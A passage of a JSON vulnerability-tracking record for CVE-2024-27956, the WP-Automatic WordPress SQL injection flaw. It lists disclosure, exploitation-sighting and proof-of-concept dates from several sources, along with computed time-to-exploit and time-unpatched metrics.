{"timestamp": "2026-11-04T00:00:00Z", "date_only": true, "value": "2026-11-04", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2024-27956", "field": "evidence.0.details.observation_date", "uuid": "93bce616-4268-4352-b8b6-8fe4a386c092", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-04T00:00:00Z", "date_only": false, "value": "2026-11-04T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2024-27956", "field": "status.status_updated_at", "uuid": "93bce616-4268-4352-b8b6-8fe4a386c092", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-06T01:00:01Z", "date_only": false, "value": "2026-11-06T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2024-27956", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "93bce616-4268-4352-b8b6-8fe4a386c092", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-11T15:56:43.546Z", "anchors": {"origin": {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2024-04-29T06:25:44Z", "date_only": false, "value": "2024-04-29T06:25:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Us_jsiVPd1Zr21cadDGbiDzpTShSlwaE-05NMwjgJC7HBw", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1e424c02-25c2-4a51-aa7f-84772a23acb9", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2024-04-26T08:00:07Z", "date_only": false, "value": "2024-04-26T08:00:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/4878", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e48f95af-a83e-4054-95f4-1cf041956440", "content": "\ud83d\udea8 Attention WordPress users! \n \nA critical SQL injection vulnerability (CVE-2024-27956) in the WP-Automatic plugin is being actively exploited. With a max severity of 9.9/10, this bug enables site takeovers and malicious activities. \n \nDetails: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html", "url": "https://t.me/thehackernews/4878", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 3077932.894, "hours": 854.9813594444444, "days": 35.62422331018519, "min_seconds": 3077932.894, "max_seconds": 3077932.894, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-04-26T08:00:07Z", "date_only": false, "value": "2024-04-26T08:00:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/4878", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e48f95af-a83e-4054-95f4-1cf041956440", "content": "\ud83d\udea8 Attention WordPress users! \n \nA critical SQL injection vulnerability (CVE-2024-27956) in the WP-Automatic plugin is being actively exploited. With a max severity of 9.9/10, this bug enables site takeovers and malicious activities. \n \nDetails: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html", "url": "https://t.me/thehackernews/4878", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit": {"available": true, "seconds": 3077932.894, "hours": 854.9813594444444, "days": 35.62422331018519, "min_seconds": 3077932.894, "max_seconds": 3077932.894, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-04-26T08:00:07Z", "date_only": false, "value": "2024-04-26T08:00:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/4878", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e48f95af-a83e-4054-95f4-1cf041956440", "content": "\ud83d\udea8 Attention WordPress users! \n \nA critical SQL injection vulnerability (CVE-2024-27956) in the WP-Automatic plugin is being actively exploited. With a max severity of 9.9/10, this bug enables site takeovers and malicious activities. \n \nDetails: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html", "url": "https://t.me/thehackernews/4878", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 3331469.894, "hours": 925.4083038888889, "days": 38.558679328703704, "min_seconds": 3331469.894, "max_seconds": 3331469.894, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-04-29T06:25:44Z", "date_only": false, "value": "2024-04-29T06:25:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Us_jsiVPd1Zr21cadDGbiDzpTShSlwaE-05NMwjgJC7HBw", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1e424c02-25c2-4a51-aa7f-84772a23acb9", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 83372129.440098, "hours": 23158.92484447167, "days": 964.9552018529862, "min_seconds": 83372129.440098, "max_seconds": 83372129.440098, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-11T15:56:43.546Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 80294196.546098, "hours": 22303.94348502722, "days": 929.3309785428008, "min_seconds": 80294196.546098, "max_seconds": 80294196.546098, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-04-26T08:00:07Z", "date_only": false, "value": "2024-04-26T08:00:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/4878", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e48f95af-a83e-4054-95f4-1cf041956440", "content": "\ud83d\udea8 Attention WordPress users! \n \nA critical SQL injection vulnerability (CVE-2024-27956) in the WP-Automatic plugin is being actively exploited. With a max severity of 9.9/10, this bug enables site takeovers and malicious activities. \n \nDetails: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html", "url": "https://t.me/thehackernews/4878", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-11T15:56:43.546Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 80040659.546098, "hours": 22233.516540582776, "days": 926.3965225242823, "min_seconds": 80040659.546098, "max_seconds": 80040659.546098, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-04-29T06:25:44Z", "date_only": false, "value": "2024-04-29T06:25:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Us_jsiVPd1Zr21cadDGbiDzpTShSlwaE-05NMwjgJC7HBw", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1e424c02-25c2-4a51-aa7f-84772a23acb9", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-11T15:56:43.546Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}